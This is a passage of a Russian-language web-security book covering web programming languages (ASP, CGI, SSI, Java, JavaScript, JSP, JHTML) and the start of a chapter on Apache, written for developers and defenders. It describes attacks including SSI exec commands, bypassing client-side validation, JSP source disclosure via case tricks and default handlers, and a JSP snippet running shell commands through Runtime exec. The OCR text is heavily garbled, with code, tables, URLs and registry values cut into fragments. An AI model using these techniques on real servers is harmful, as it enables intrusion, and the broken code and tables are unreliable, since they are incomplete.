В атрибуте дескриптора <object> указан идентификатор элемента управле ния ActiveX, содержащегося в файле В данном случае атрибут CODEBASE дескриптора <object> не нужен, однако если он используется, то в нем долж но быть указано местоположение откомпилированного файла При использова нии элементов ActiveX возникает две проблемы обеспечения безопасности. 1. Элементы управления ActiveX могут выполнять сложные функции, включая чтение/запись файлов или выполнение кода в локальной системе. Взломщик может создать опасный элемент ActiveX, который при просмотре его Web узла может выполнить некоторые функции на пользовательском компьютере, на пример прочитать файлы на жестком диске и отправить их взломщику. 2. При использовании элемента ActiveX обычно требуется указать местоположе ние файла так что взломщик, скорее всего, сможет обнаружить менее за щищенный раздел файловой системы Web узла и использовать его для атаки. Для тех разработчиков, которые осознают важность обеспечения безопасности, можно порекомендовать офаничить или даже полностью отказаться от использования элементов управления ActiveX на Web узлах. Технология ASP: заключительные замечания Несмотря на то что технология ASP и ее возможности были рассмотрены лишь вкрат це, этого вполне достаточно для получения общего представления об области ее примене ния и основных особенностях. Для обеспечения безопасности приложений, реализован ных на основе технологии ASP, можно воспользоваться рекомендациями, приведенными выше в разделе, посвященном платформе ColdFusion. Они сводятся к следующему. 1. Удалите файлы примеров из каталогов, созданных по умолчанию в процессе установки. 2. Контролируйте значения полей ввода информации. Однако, как станет ясно из последующих глав, эти рекомендации являются лишь начальными мерами по решению проблемы уязвимости ASP. CGI Расширения файлов: . cgi, Интерфейс CGI (Common Gateway Interface) является одним из старейших и зрелых стандартов Internet, определяющих механизм обмена информацией между Web сервером, программой (например, на языке и Web броузером, а также используемый при этом формат данных. Объединение механизма CGI с такими языками, как Perl, по зволило создать одну из первых платформ передачи динамического содержимого в Web. В отличие от технологий ASP или PHP, CGI не является языком, а скорее пред ставляет собой набор рекомендаций, применяемых в других языках. Фактически для создания можно использовать различные языки, в том числе: • Perl; • • Java; 44 Часть I. Будни электронной коммерции
• языки сценариев командных оболочек sh, csh и (Unix); • Visual Basic (Windows); • Чтобы поближе познакомиться с кодом CGI, рассмотрим простую программу Perl/CGI, которая выводит строку Hello World! в окне Web броузера. Программа Perl, общие CGI *} Выводит строку "Hello World!" в окне броузера print print программа print По существу, это программа на языке Perl. Первый оператор print с аргументом \n\n необходимо использовать из за того, что механизм CGI не обеспечивает автоматической передачи заголовков HTTP для каждого запроса. Имен но для этого используется сценарий Perl. Заголовок Content type обеспечивает вывод строки Hello на экран. Без него будет выведено сообщение об ошибке. The specified CGI application misbehaved by a complete set of headers (Приложение CGI неверно работает, не возвращая полного набора заголовков HTTP) Второй оператор print просто формирует файл HTML с дескрипторами <html>, <head> и <title>. Последний оператор, print, выводит текст Hello World! в броузере. Переменные окружения Обсуждение CGI было бы неполным без рассмотрения переменных окружения. Как описывается в главе 3, в запросе HTTP содержатся стандартные заголовки, кото рые могут использоваться в качестве переменных сценария CGI. Они обеспечивают передачу информации между формой в Web броузере и удаленной а также позволяют лучше интерпретировать параметры броузера. Список стандартных переменных окружения CGI приведен в табл. 1.2. Этот список далеко не полный, однако он дает общее представление о том, сколь широки и разнообразны возможности реализации атак на Web сервер. Более подроб ную информацию о значениях переменной можно найти по адресу: Перечень всех переменных РНР можно получить с помощью функции Например, если взломщик разместит файл на Web сервере, на котором за пущен модуль РНР, то, вставив единственную строку в этот файл, он может получить список всех переменных системы. Серверные включения (SSI): HTML и SHTML Расширения файлов: .shtm, .stm Файлы SHTML принято относить средствам CGI, поскольку обычно в них исполь зуются серверные включения SSI, обеспечивающие возможность обработки данных на сервере. Технология SHTML считается "прародителем" средств обработки информации на сервере, поскольку она использовалась еще на заре развития Web, но все еще применяется в настоящее время (хотя достаточно редко). Серверные включения, как и фрагменты кода Глава Языки программирования для Web: Вавилон XXI столетия 45
на всех выше языках, размещаются в документе HTML, а соответствующие команды обрабатываются приложением, размещенным на Web сервере. Команды выпол няются, а полученные результаты передаются броузеру. Вот простой пример серверного включения, после обработки которого возвращается дата в формате GMT: <body> </body> </html> Таблица 1.2. Переменные окружения CGI Переменная Описание GATEWAY_INTERFACE PATH_INFO SERVER_PORT REMOTE_USER REMOTE_HOST REMOTE Содержит номер версии CGI, поддерживаемой на сервере. Формат: (например, Содержит сервера, имя узла или IP адрес сервера, на котором запущена программа CGI Содержит имя и версию программного запущенного на сервере. Формат: имя/версия (например, Server: В этой переменной размещается вся строка запроса, указанная в за симво лом ?. Например, если в сценарий передаются два параметра, http:/ то в переменной будет храниться строка Содержит дополнительную информацию, указанную в которая может понадо биться на сервере для обработки формы. Лучшим примером использования этой переменной является случай, когда нужно передать информацию о местоположении файла Содержит имя и версию используемого протокола. Формат: протокол/версия (например, Содержит номер порта сервера. Обычно используется TCP порт 80 Метод HTTP, используемый для передачи информации, обычно GET, PUT, POST или HEAD. Для получения более подробной информации о методах HTTP читайте главу 3 Хранит тип содержимого, соответствующего передаваемым данным, например Определяет длину содержимого (POST или PUT), передаваемого в клиентском за просе. Обычно это значение измеряется в байтах Содержит виртуальный путь к запускаемому сценарию удаленного пользователя Определяет зависящий от протокола метод аутентификации пользователя Хранит преобразованное значение PATH_INFO. Эта переменная используется для преобразования виртуальных каталогов в физические Хранит имя удаленного узла, с которого поступил запрос Хранит IP адрес удаленной системы, отправившей запрос Если сервер поддерживает спецификацию RFC 931, то в переменной REMOTE_IDENT хранится имя удаленного пользователя, полученное сервером. Обычно этот пользователь обладает ограниченными правами на регистрацию 46 Часть I. Будни электронной коммерции
Окончание табл. 1.2 Переменная Описание НТТР_АССЕРТ или Хранит типы MIME, поддерживаемые клиентом, например text/plain, ACCEPT text/html, и application/html HTTP_USER_AGENT Хранит название производителя и версию клиентского Web броузера Признаком использования серверных включений является наличие символов --- и В предыдущем примере директива var использовалась для отображения значе ния переменной Применяя технологию SSI, можно выполнять различные функции, в том числе приведенные в табл. 1.3. Серверные включения и сервер IIS компании Microsoft По умолчанию сервер IIS не разрешает использовать команды CMD директивы EXEC. Для того чтобы изменить этот режим, добавьте в системный реестр следующий пара метр, а затем перезагрузите систему. Раздел Имя параметра Тип DWORD Значение 1 Замечание. Если в системном реестре в этом параметре содержится значение 1, не медленно удалите его (естественно, при условии, что он не требуется). Хотя в настоящее время серверные включения используются в Web приложениях достаточно редко, нужно проявлять бдительность. Соблюдайте осторожность при ис пользовании преимуществ этой технологии, поскольку коварный хакер может быть следующим, кто ими воспользуется. Таблица 1.3. Директивы SSI Директива var= При использовании директив SSI можно получить доступ ко многим в том числе: (содержит дату и время сервера); HTTP_REFERER (определяет местонахождение пользователя); DATE_GMT (содержит дату и время по Гринвичу); REMOTE_ADDR или REMOTE_HOST (содержит исходный или имя узла соответственно); или (содержит имя Web страницы); AGENT (содержит имя Web броузера) Позволяет выполнять на удаленной системе произвольные команды. Обычно команда cmd выполняется только в системах Unix, однако известно, что в Windows ее тоже можно использовать. Очевидно, что такая возможность представляет серьезный риск нарушения безопасности. Поэтому в большин стве Web серверов приложений ее по умолчанию отключают. Тем не менее возможность выполнения произвольных команд стала причиной многих ус взломов Глава Языки программирования для Web: Вавилон XXI столетия 47
Окончание табл. 1.3 Директива Функция Запускает программу CGI. Зачастую эту директиву используют при вызове других файлов для отображения текста size размер файла < file= Возвращает дату последнего изменения файла include f Включает текст из файла virtual Эту команду нужно использовать для обращения к файлу . находяще муся в другом каталоге Защищает данные, содержащиеся после этой команды, поскольку такая стро ка сервером игнорируется. В этом разделе документа можно найти интерес ную информацию Java Расширения файлов: отсутствуют Язык Java в начале 1990 х годов был создан Джеймсом Гослингом (James Gosling), сотрудником компании Sun Microsystems, и первоначально назывался Oak. Без сомнения, язык Java представляет собой одну из наиболее обещающих и раз рекламированных технологий последнего десятилетия. Этот язык изначально пла нировалось использовать в бытовых электронных устройствах. Это поистине дос тойная цель для языка программирования, претендующего на главную роль в ин формационном сообществе. Даже в настоящее время Java олицетворяет почти недостижимую универсальную переносимость и функциональность. Популярность языка Java на современном рынке достаточно высока, однако до его повсеместного распространения еще довольно далеко. Java --- это объектно ориентированный язык, в котором все элементы программы (т.е. переменные, функции, подпрограммы или само приложение) считаются объек тами. В настоящее время с использованием Java разрабатываются многие Web приложения. Однако их исходный код нельзя получить так же просто, как при ис пользовании других языков программирования для Web. Это связано с что ис ходный код Java компилируется в файлы в которых содержится байт код. Ниже рассматриваются вопросы использования клиентской и серверной версии Java. Использование Java в клиентской части приложения Эта версия Java предназначена для использования в клиентской системе и броузе ре конечного пользователя. две клиентские версии Java --- для создания и сценариев. 48 Часть I. Будни электронной коммерции
Для загрузки и запуска Java с помощью клиентского Web броузера исполь зуются дескрипторы внедренные в код HTML. Один из основных рисков, связанных с использованием аплетов, заключается в том, что, хотя они и скомпили рованы в байт код, типичный класс Java можно загрузить отдельно и декомпилиро вать. Это позволит взломщику просмотреть исходный код Java, провести его анализ и найти уязвимые места. Эти вопросы будут обсуждаться в данной главе, а также на протяжении последующих глав книги. Аплеты Java можно разрабатывать в любом текстовом файле, как и при использо вании многих других языков, рассмотренных выше в главе. Простой можно соз дать в течение нескольких минут. Например, для создания выводящего на эк ран строку "Hello достаточно скопировать приведенный ниже код в тексто вый файл, а затем присвоить ему любое имя с расширением . import import public class extends Applet { public void paint (Graphics g) { 5, 30); } } Необходимо отметить следующее: • оператор import эквивалентен директиве языка C/C++ в том смысле, что обеспечивает включение всех требующихся компилятору классов; • класс расширяет класс задающий базовые свойства аплета; • класс Graphics применяется для вывода графики на экран. Теперь исходный файл нужно скомпилировать в байт код с помощью интерпрета тора Java После компиляции формируется файл класса Java С этого момента его можно запускать из HTML кода Web страниц с помощью дескриптора <applet>. <APPLET width=300> </APPLET> Когда аплет Java загружается в память, для каждого метода создается от дельный поток. Затем байт код выполняется процессором. Байт код --- это последо вательность ассемблерному или двоичному коду, в кото рой каждая инструкция состоит из однобайтового кода операции (действия) и нуле вого или большего количества операндов. Из за использования байт кода Java не пересылаются по Internet в виде обычного текста. К сожалению, подобная маски ровка на мешает взломщику декомпилировать байт код и получить исходный код Java. Имея исходный код, взломщик может подробно ознакомиться с работой прило жения, в том числе получить любые пароли, используемые для соединения с сервера ми и доступа к базам данных. Из многих существующих сегодня декомпиляторов Java наиболее точным является JAD (Java Decompiler), разработанный Павлом Кузнецовым (Pavel Kouznetsov). Ядро Глава Языки программирования для Web: Вавилон XXI столетия 49
написано на C/C++, что обеспечивает высокую скорость его работы. Более под робно декомпилятор JAD рассматривается в последующих главах. В табл. 1.4 представлено подробное описание дескриптора <applet>. Таблица 1.4. Полное описание дескриптора <applet> Дескриптор/ атрибут Описание <APPLET> Открывающий дескриптор CODEBASE = Каталог, в котором содержатся файлы ARCHIVE = (Необязательный.) Архив, в котором описаны предварительно загружаемые классы CODE = (Обязательный.) Имя файла или Или OBJECT = (Обязательный, если CODE не используется.) Преобразованное представление аплета ALT (Необязательный.) Текст, отображаемый при неудачном запуске NAME = (Необязательный.) Имя экземпляра WIDTH = (Обязательный.) Начальная ширина аплета в пикселях HEIGHT = (Обязательный.) Начальная высота аплета в пикселях ALIGN = (Необязательный.) Тип выравнивания аплета на HTML странице VSPACE = (Необязательный.) Расстояние от области отображения аплета до верхней границы родительского окна в пикселях HSPACE = (Необязательный.) Расстояние от области отображения аплета до боковой границы родительского окна в пикселях NAME = имя VALUE = (Необязательный.) Имя и значение, </APPLET> Закрывающий дескриптор языки сценариев Языки сценариев Java практически полностью используются в клиентской системе. •Их основное преимущество заключается в хорошей производительности, а не в обес печении безопасности, поскольку взломщик может без особых проблем их изменить и, таким образом, использовать для достижения своих злонамеренных целей. JavaScript Это не компилируемый, а интерпретируемый язык сценариев, который изначально был разработан компанией Netscape. Однако между языками JavaScript и Java нет ни какой связи, кроме схожести названий. Java является компилируемым, объектно ориентированным и достаточно сложным языком программирования, в то время как JavaScript представляет собой объектный язык разработки сценариев, предназначен ный для быстрого создания Web приложений. Хотя он и предоставляет некоторые ба зовые возможности объектно ориентированного подхода, он гораздо ближе к языкам сценариев, например Perl. Язык JavaScript полезно использовать для решения простых задач, например для проверки правильности заполнения полей формы, добавления кода HTML по требованию, выполнения пользовательских вычислений. Вот простой пример использования JavaScript, когда после щелчка на кнопке на экране отображается сообщение: 50 Часть I. Будни электронной коммерции
<html> пример использования JavaScript</title> <script сокрытие кода JavaScript от броузеров, его не поддерживающих function { and }// Завершение сокрытия > </script> </head> <hl пример <div align=center> <input World Me!" Этот пример хорошо подходит для более тесного знакомства с языком и способом его использования. В следующем примере показано, как можно повысить безопас ность программы, написанной на языке JavaScript. Из за того, что сценарии JavaScript выполняются клиентским броузером, взлом щик может обойти процедуру проверки введенной информации и воспользоваться не стандартными данными, чтобы нарушить работу приложения или, что еще хуже, за ставить его раскрыть конфиденциальную информацию. В следующем примере сцена рий JavaScript используется для проверки корректности введенных данных и для ввода корректного возраста в поле age формы. Код JavaScript ограничи вает возможность ввода возраста диапазоном Любое значение за пределами этого диапазона считается некорректным. <head> данных, введенных в попе <script> снова скрываем JavaScript function validate {if <1) попытка Пожалуйста, введите return false; { if > 110) Пожалуйста, введите НАСТОЯЩИЙ return false; else возраст Ч return true; // Завершение сокрытия </script> </head> <body> Глава Языки программирования для Web: Вавилон XXI столетия
validate введите Ваш <input type=text size=3 </body> Зная, что код JavaScript обрабатывается клиентским броузером, можно сохранить файл HTML, полученный от Web сервера, и удалить строки, используемые для кон троля вводимых значений. В результате функция validate () локального HTML файла будет всегда возвращать значение true. function validate { return true; } Для завершения модификации программы, нужно изменить значение атрибута action и задать в нем адрес удаленного сценария После этого можно открыть локальный файл, ввести любое значение в поле age и щелкнуть на кнопке Submit Age. В результате нарушения работы сервера может и не произойти, однако полученные результаты в любом случае далеки от идеальных. Язык Jscript --- это компании Microsoft разработать аналог JavaScript для Web броузера Explorer. Как и JavaScript, Jscript является интерпретируемым, объектно ориентированным языком сценариев. Однако в отличие от JavaScript, язык Jscript предоставляет гораздо более широкие возможности взаимодействия с элемен тами ActiveX, чем VBScript. Кроме того, Jscript не может выполнять чтение/запись файлов и не предназначен для создания автономных приложений. Сценарии Jscript используются практически так же, как и сценарии JavaScript: с использованием дескриптора <script>. Следующий фрагмент кода выводит в окне броузера строку "Hello <SCRIPT снова скрываем function { var = "Hello } // сокрытия > </SCRIPT> <SCRIPT> </SCRIPT> Более подробную информацию о языке Jscript можно найти по адресу: 52 Часть I. Будни электронной коммерции
Использование Java на сервере В настоящее время серверные компоненты Java чрезвычайно широко используют ся в Internet и поэтому являются заветной целью взломщиков со всего мира. Как пра вило, серверные компоненты реализуются на основе таких технологий как серверные страницы Java (Java Server Pages --- JSP) и JavaHTML (JHTML). Серверные страницы Java (JSP) Расширения файлов: . j s p В современном мире электронной коммерции лишь немногие технологии могут поспорить с доминирующей ролью страниц JSP. Управление такими страницами осуществляется с использованием серверов приложений Java (Java Application Server --- JAS), которые обрабатывают серверные страницы и преобразуют их в код HTML, пе редаваемый клиентским броузерам. Как будет продемонстрировано в главе 12, стра ницы JSP являются мощным механизмом, который можно использовать для разра ботки сложных Web узлов электронной коммерции. Однако их мощью можно вос пользоваться и в качестве разрушительной силы. Технологию JSP можно рассматривать как версию Java для разработки сценариев, с помощью которой код Java можно внедрить в HTML файл. Страницы JSP руются как Java, запускаемые на сервере. Как и при использовании страниц ASP, внедряя код Java в HTML файлы, можно создавать динамическое содержимое. При этом синтаксис JSP оказывается не очень выразительным, поскольку во многом он лишь реализует интерфейс с ядром Java на сервере. По сути, этот синтаксис опре делен компанией Sun Microsystems в одном двухстраничном файле PDF, который можно найти по адресу: На рынке имеются различные серверы JAS. Однако среди них можно выделить "большую пятерку": WebLogic от компании BEA, Java Web Server от компании Sun, JRun от Allaire, WebSphere от IBM и JDeveloper от Oracle. Все вместе они охватывают 95% используемых в электронной коммерции серверов приложений Java. Взаимодействие с базой данных Это одна из наиболее значительных возможностей JSP, благодаря которой дина мическое содержимое можно формировать на основе информации из базы данных. При этом можно воспользоваться различными вариантами соединения, включая JDBC, мост JDBC ODBC, драйвер JDBC OCI, тонкий драйвер JDBC от Oracle и драйвер mySQL JDBC. Вот несколько фрагментов кода, в которых демонстрируются примеры подключения к базе данных: // МОСТ JDBC ODBC String Connection conn = // Oracle JDBC OCI String Connection conn = "sa", // Oracle JDBC Thin String Connection conn "sa", Глава Языки программирования для Web: Вавилон XXI столетия 53
String Connection conn Чтобы познакомиться с синтаксисом JSP поближе, рассмотрим пример взаимодей ствия с базой данных. page try { это имя DSN, используемое для подключения String // Соединение Connection conn = // Создание оператора JDBC Statement = creates String * FROM Autos"; // Выполнение запроса result = conn.close(); } // обработка исключения e) // Печать выполнен В этих фрагментах кода нужно хорошо разобраться и разработчикам Web приложений, и специалистам по безопасности. Это позволит обеспечить безопасность Web приложений, поскольку взаимодействие с базами данных является основой тех нологии JSP. Вскрытие исходного кода Исходный код файла JSP можно получить, принудительно задав обработку исход ного кода в режиме "как есть" Другими словами, следует серверу приложений о том, что исходный код нужно отобразить в виде незашифрован ного текста. Чувствительность к регистру Один из приемов сводится к использованию символов различного реги стра в расширении JsP С использованием такого синтаксиса взломщик мог получить исходный код JSP при обращении к ранним версиям сервера WebLogic от компании ВЕА. Принудительная установка обработчиков, используемых по умолчанию Другой тип атаки на сервер WebLogic --- принудительная установка специального обработчика файла и получение исходного кода этого файла. При таком подходе взломщик сможет увидеть исходный код файла jsp и, скорее всего, получить имя пользователя и пароль. Риск нарушения безопасности 54 Часть I. Будни электронной коммерции
возникает из за того, что в конфигурационном файле сервера по умолчанию содержится следующая строка: Регистрация по умолчанию Виртуальное имя сервлета, по I если не найден сервлет Эти используемые по умолчанию параметры позволяют взломщику просмотреть исходный код файлов JSP. произвольных команд При выполнении определенных условий взломщик может "заставить" сервер Java Web Server компании Sun выполнить обычный файл как файл JSP. В таком файле может содержаться дескриптор JSP, подобный следующему: String s=null, try {Process /c « new В данном случае запускается команда dir, которая в системе Windows позволяет получить содержимое текущего каталога. Это безобидная команда, но взломщик может запустить любую команду с правами учетной записи Administrator или root. Команда используется для вывода результатов команды dir. Чтобы вынудить обработчик выполнять команды, содержащиеся в тек стовом файле, взломщик может воспользоваться URL, аналогичным следующему: Для получения дополнительной информации о технологии JSP обратитесь к раз делу FAQ Web узла компании Sun Microsystems (http://java.sun.com/products/jsp/ JHTML Расширения файлов: . Это стандарт JavaSoft компании Sun Microsystems, в котором определен механизм включения кода Java в файл HTML. Как и все описанные выше серверные языки, JHTML имеет собственные дескрипторы, которые обрабатываются перед передачей выходных данных клиентскому броузеру. Код JHTML очень похож на HTML, однако в нем используется дополнитель ный дескриптор <java>. Чтобы проанализировать риски нарушения безопасности, нужно поближе познакомиться с кодом JHTML. Рассмотрим несколько фрагмен тов кода JHTML. Hello </java> В этом фрагменте строка Java generated Hello World отображается в броузере. Ни же приведен еще один фрагмент кода JHTML, в котором под управлением сервера Глава Языки программирования для Web: Вавилон XXI столетия 55
WebLogic с использованием драйвера JDBC OCI компании Oracle устанавливается со единение с базой данных. <java type=class> final String = static final String = static final String user = static final String password = protected Connection { Connection conn null; try{ forName conn * user, password); } catch (Exception f) { } return conn; { </java> Язык JHTML обеспечивает простоту страниц JSP. Однако при его использовании возникают риски нарушения безопасности, в том числе связанные с получением ис ходного кода. Получение исходного кода Принудительная установка обработчиков, используемых по умолчанию Сервер Java Web Server компании Sun оказался столь же уязвимым к проблеме принудительного задания обработчика по умолчанию, как и сервер WebLogic. Он так же разрешает доступ к файлам JHTML. Взломщик может просто задать обработчик и получить исходный код любого файла JHTML. jhtml . Решение проблемы заключается в настройке псевдонимов таким образом, чтобы вместо предоставления исходного кода файла выдавалось сообщение об ошибке. error error error /servlet/ssinclude error Чувствительность к регистру Сервер WebLogic от компании ВЕА также оказался уязвимым к использованию в расширении файлов символов разного регистра. Этот изъян позволяет получить исходный код. Для атаки используется тот же синтаксис. Таким образом, языку JHTML присущи те же недостатки, что и другим серверным языкам. Однако изменение конфигурации, установка необходимых модулей обновле ния и использование механизма контроля входных данных позволяют существенно снизить большинство рисков, связанных с обеспечением безопасности. 56 Часть I. Будни электронной коммерции
Резюме В атаке могут быть задействованы практически все языки Web, поэтому первым шагом в осмыслении потенциальных атак является знакомство с самими языками и основными принципами их использования. Очевидно, что невозможно разобраться во всех или хотя бы в некоторых аспектах этих языков, прочитав лишь одну главу. Одна ко этого вполне достаточно для знакомства с их основными особенностями. Кроме того, в процессе оценки уровня безопасности нужно уметь классифицировать исполь зуемые языки программирования. В этой главе кратко рассматривались потенциальные риски нарушения безопасно сти, связанные с использованием некоторых языков программирования в Web. В по следующих главах описываются другие бреши в подсистеме зашиты, а также соответ ствующие контрмеры, которые позволят избежать многих проблем. Глава Языки программирования для Web: Вавилон XXI столетия 57
ГЛАВА 2 и серверы баз данных Переход от заблуждения к истине --- это событие исключительное и прекрасное. Виктор Гюго (1802 1885), французский поэт, писатель романист, драматург, эссеист
Введение Web серверы и серверы баз данных --- это сердце и мозг всей структуры Internet. Каждый импульс исходит от Web сервера, а любая операция сохранения или извлече ния данных выполняется путем обращения к базе данных. Таким образом, оба ком понента играют чрезвычайно важную роль в стабильной работе любого Internet приложения и именно поэтому являются излюбленной целью хакеров. Для обеспече ния безопасности информационных активов необходимо иметь представление о тех базовых технологиях, которые положены в основу Web приложений и в некоторых случаях предопределяют их к действиям хакеров. В этой главе детально проанализированы два наиболее часто используемых сегодня Web сервера: Internet Information Server (IIS) корпорации Microsoft и Apache от Apache Software Foundation. Здесь также рассматриваются две наиболее распространенные в настоящее время системы управления базами данных: Microsoft SQL Server и Oracle 9i. В ходе обсуждения будут отмечены многочисленные "подводные камни" использова ния этих непростых технологий, особенности их функционирования и обеспечения безопасности, а также то, как они все вместе стимулируют развитие электронной коммерции и неизменно притягивают к себе внимание хакеров. Web серверы Всякий раз, когда броузеру необходимо подключиться к какому либо Web узлу в Internet (или в корпоративной сети), он устанавливает связь с Web сервером. Такой сервер ожидает поступления запросов из сети и отправляет инициатору запроса опре деленные данные. Сервер Apache На Web узле организации Apache Software Foundation утверждается: "Apache явля ется наиболее популярным в Internet Web сервером с апреля 1996 года". Популяр ность сервера Apache в значительной степени объясняется тремя факторами: поддержкой целого ряда платформ, функциональными возможно стями и ценой. Web сервер Apache работает практически на всех популярных плат формах, включая NetBSD, Digital UNIX, OS/2, Windows 3.x, SCO, HPUX, Novell NetWare, Macintosh, Be OS, Windows NT, Linux, VMS, Windows 95, FreeBSD, IRIX и Solaris. Кроме того, этот Web сервер всегда предоставляет большой спектр возможностей, позволяя быстро разрабатывать и усовершенствовать любой Web узел. И последний, но не менее важный аспект заключается в том, что Web сервер Apache распространяется по самой выгодной цене: бесплатно! Учитывая, что сегодня более 56% всех Web серверов реализованы на базе пакета Apache (по данным Netcraft 2001), неудивительно повышенное внимание к нему хаке ров. Любая новая возможность или платформа, поддерживаемая Apache, увеличивает шансы злоумышленников по использованию уязвимых мест в программном коде. В этой главе обсуждается сервер Apache версии 2.0.32. Он предоставляет несколько возможностей, некорректное использование которых, как правило, приводит к нару шению безопасности. • Виртуальные узлы. • Серверные включения. • Генерация динамического содержимого с использованием интерфейса CGI. Глава 2. Web серверы и серверы баз данных 59
• Обработчики. • Переменные окружения. • Отображение URL на файловую систему Будучи столь востребованным, сервер Apache привлекает людей разного рода. Многие из них пытаются найти различные его изъяны и воспользоваться ими. Виртуальные узлы Нынешний рост Internet, а также миллионы Web страниц, обслуживаемых в этой сети, возможно, никогда не стали бы реальностью, если бы не концепция виртуаль ных узлов. Она позволяет одному компьютеру одновременно обслуживать множество В результате один физический компьютер, на котором функционирует один Web сервер, может обслуживать страницы огромного числа Web узлов. Это дос тигается за счет применения двух механизмов адресации, в одном из которых исполь зуются имена доменов (name based), а во втором --- IP адреса (IP based). Использование имен доменов В рамках обслуживания виртуальных узлов на базе имен пользователь должен пре доставить уникальное имя для каждого HTTP запроса. Как правило, в качестве такого имени используется имя DNS, указываемое в строке URL клиентского Web броузера. Службой DNS хостинговой компании поддерживаются записи на DNS сервере, причем все они ссылаются на один и тот же IP адрес. Так, если выполнить поиск по имени трех виртуальных Web узлов, обслуживаемых на одной системе, то будет полу чен один и тот же IP адрес. Например, выполним поиск следующего японского Web узла (узел С:\> Server: Address: Non authoritativ e an swer: Name: Address: 172.16.30.222 Теперь выполним поиск бразильского Web узла (узел 2): nslookup www.bz.example.com Server: UnKnown Address: 192.168.0.1 Non authoritative an s w e r: Name: www.bz.example.com Address: 172.16.30.222 И наконец, выполним поиск американского Web узла (узел 3): nslookup www.us.example.com Server: UnKnown Address: 192.168.0.1 Non authoritative answer: Name: Address: 172.16.30.222 Обратите внимание, что все три Web узла имеют один и тот же IP адрес. Обнару жить виртуальные узлы со схемой адресации на основе имен довольно просто, а вот виртуальные узлы на базе IP адресов --- гораздо сложнее. 60 Часть I. Будни электронной коммерции
Итак, соединяясь с Web узлом, который поддерживается наряду с другими узлами на одной и той же системе, необходимо использовать следующий адрес Броузер генерирует HTTP запрос в котором истинный адресат указан в строке заголовка GET / Accept: */* gzip, deflate User Agent: NT 5.0) Host: Connection: Keep Alive Получив такой запрос, Web сервер выделяет строку Host: и передает запрос на страницу виртуальному узлу www.us.example.com. В результате Web сервер отображает лишь те Web страницы, которые относятся к узлу w ww.us.example.com, а не множество страниц других Web узлов, поддерживаемых на этой же системе. Использование IP адресов При поддержке виртуальных узлов на базе IP адресов для каждого виртуального Web узла на сервере должен быть зарезервирован уникальный IP адрес. В данном случае используется тот же принцип, что и при создании вторичных IP адресов в сис темах Windows и IP псевдонимов в системах Unix. в системе UNIX Пользователям Unix не обойтись без использования псевдонимов IP. Как правило, при этом часто используется команда Например, чтобы добавить три IP адреса к интерфейсу ethO (учитывая, что базовым IP адресом является 172.16.30.222), можно использовать следующие команды; /opt]l /sbin/ifco nfig ethO:0 172.16.30.50 /sbin/ifconfig 172.16.30.51 /sbin/ifconfig 172.16.30.52 /sbin/ifconfig a ethO Link HWaddr UP BROADCAST RUNNING RX packets:33272 errors:20 droppediO overruns:20 TX Base ethO:0 Link HWaddr 00:50:04:91:D5:AO inet UP BROADCAST RUNNING Interrupt:3 Base address:0x300 Link HWaddr 00:50:04:91:D5:AO inet UP BROADCAST RUNNING MTU:1500 Base address:0x300 Глава 2. Web серверы и серверы баз данных 61
ethO:2 Link EWaddr inet UP BROADCAST RUNNING Base Все три новых IP адреса связаны с интерфейсом указывая на то, что ин терфейс ethO имеет три новых псевдонима: .51 и В отличие от механизма поддержки виртуальных узлов на базе имени домена, при использовании схемы адресации на основе IP адресов предполагается, что с каждым IP адресом должно быть связано уникальное имя DNS. Другими словами, каждому созданному IP адресу должна соответствовать запись службы DNS. Для реализации этого требования обращайтесь к соответствующим разделам документации. Теперь каждый IP адрес нужно ассоциировать с соответствующим Web узлом. Для этого необходимо внести изменения в файл сервера Apache, воспользовав шись директивой VirtualHost. <VirtualHost TransferLog log </VirtualHost> И так далее для каждого виртуального узла. В отличие от виртуальных узлов, поддерживаемых на основе имени домена, установить наличие узла, поддержка которого осуществляется на базе IP адреса, значительно сложнее, поскольку каждый Web узел обладает своим отдельным и уникальным IP адресом. Пожа луй, единственный способ такой идентификации заключается в проверке МАС адреса для каждого IP адреса. Для этого злоумышленнику потребуется "прослушивать" локальную сеть. Однако наиболее важно то, что механизм обнаружения существует, поскольку в дан ном случае у каждого виртуального IP адреса будет один и тот же Поддержка виртуальных узлов сама по себе не является угрозой для безопасности. Тем не менее это может оказаться дополнительным фактором риска, поскольку при взломе любого Web узла данной системы под угрозой окажутся также и все остальные узлы. Серверные включения Как отмечалось в главе серверные включения (Server Side Includes --- SSI) --- ди рективы, которые включаются в HTML страницы и обеспечивают выполнение требуемых действий на сервере. Технология SSI аналогична CGI и, как правило, используется для ге нерации динамического содержимого Web страницы. В настоящее время сервером Apache серверные включения SSI по умолчанию не поддерживаются, и это правильно. Однако за частую на Web узлах эта возможность все же используется. В результате Web сервер обра батывает все файлы с расширением с учетом требований спецификации SSI. Вопросы влияния технологии SSI на обеспечение безопасности рассматривались в главе 1, поэтому сейчас не стоит повторять их еще раз. Однако если серверные включения все же используются, удостоверьтесь в том, что запрещено использова ние директивы exec cmd. Это можно осуществить, воспользовавшись аргументом директивы Options файла httpd.conf сервера Apache. CGI Как уже упоминалось в главе 1, интерфейс CGI (Common Gateway Interface) --- это один из базовых механизмов, используемых для обмена динамическим содержимым 62 Часть I. Будни электронной коммерции
в Web. Сервером Apache поддерживаются различные технологии CGI, а установка соответствующих модулей не вызывает особых проблем. Директива ScriptAlias Директива ScriptAlias файла сообщает серверу Apache о том, что в ука занных далее каталогах содержатся выполняемые сценарии. Директива ScriptAlias имеет примерно следующий вид: ScriptAlias /opt/apache/cgi bin С помощью этой директивы определяется, что любой запрос, в котором указан ка талог /cgi bin, на самом деле относится к каталогу /opt/apache/cgi bin. Такие дирек тивы, как ScriptAlias, являются одним из способов обеспечения безопасности Web сервера и позволяют наложить ограничения на то, где могут выполняться сценарии. Обработчики Обработчик (в терминах Web сервера) --- это механизм, предназначенный для обработ ки Web запросов на основе расширения файла. Многообразие обработчиков определяется разнообразием типов файлов, которые в настоящее время можно использовать в Internet. При обработке некоторых файлов (.jsp, и т.д.) требуется выполнять определенные действия (что обеспечивается соответствующими механизмами Java, ASP и т.д.). С мо мента появления Apache версии в зависимости от имени файла можно явно задать действия, которые будут выполняться при его обработке, а не использовать значения, жестко заданные по умолчанию. Благодаря этому для файлов с нестандартными имена ми разработчики могут самостоятельно указать необходимый обработчик. Среди встроенных обработчиков имеется также обработчик, заданный по умол чанию и предназначенный для обработки статического содержимого, в качестве ко торого обычно используется код HTML. Кроме того, существуют и другие стан дартные обработчики, в том числе mod a sis , mod_cgi, mod imap, mod_info, и Хотя все они являются встроенными, подключить их можно и вруч ную, воспользовавшись директивой Action. Эта директива позволяет Web серверу об рабатывать определенные запросы с помощью заданного сценария CGI. Так, напри мер, 